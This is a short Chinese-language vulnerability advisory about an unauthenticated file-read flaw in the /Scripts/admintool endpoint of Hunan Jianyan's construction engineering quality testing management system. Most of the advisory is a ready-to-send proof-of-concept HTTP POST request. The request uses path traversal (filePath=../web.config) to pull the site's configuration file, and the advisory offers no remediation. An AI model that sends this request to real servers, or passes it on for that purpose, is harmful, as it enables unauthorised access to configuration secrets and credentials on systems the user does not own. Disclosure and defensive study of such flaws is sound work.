建研建设工程质量检测信息管理系统 /Scripts/admintool 文件读取漏洞

日期: 2025-07-24 | 影响软件: 建研建设工程质量检测信息管理系统 | POC: 已公开

漏洞描述

湖南建研信息工程质量检测系统是一款能够实现检验工作的计算机化和网络化管理的软件，基本实现检测数据的自动采集，确保检验数据的公正性、科学性和准确性，确保检验报告的规范性和权威性，确保检验工作的高效率和服务的及时性。湖南建研信息工程质量检测系统 /Scripts/admintool 接口处存在文件读取漏洞，未授权的攻击者可通过此漏洞获取敏感信息，导致信息泄露。

PoC代码

POST /Scripts/admintool?type=file HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

filePath=../web.config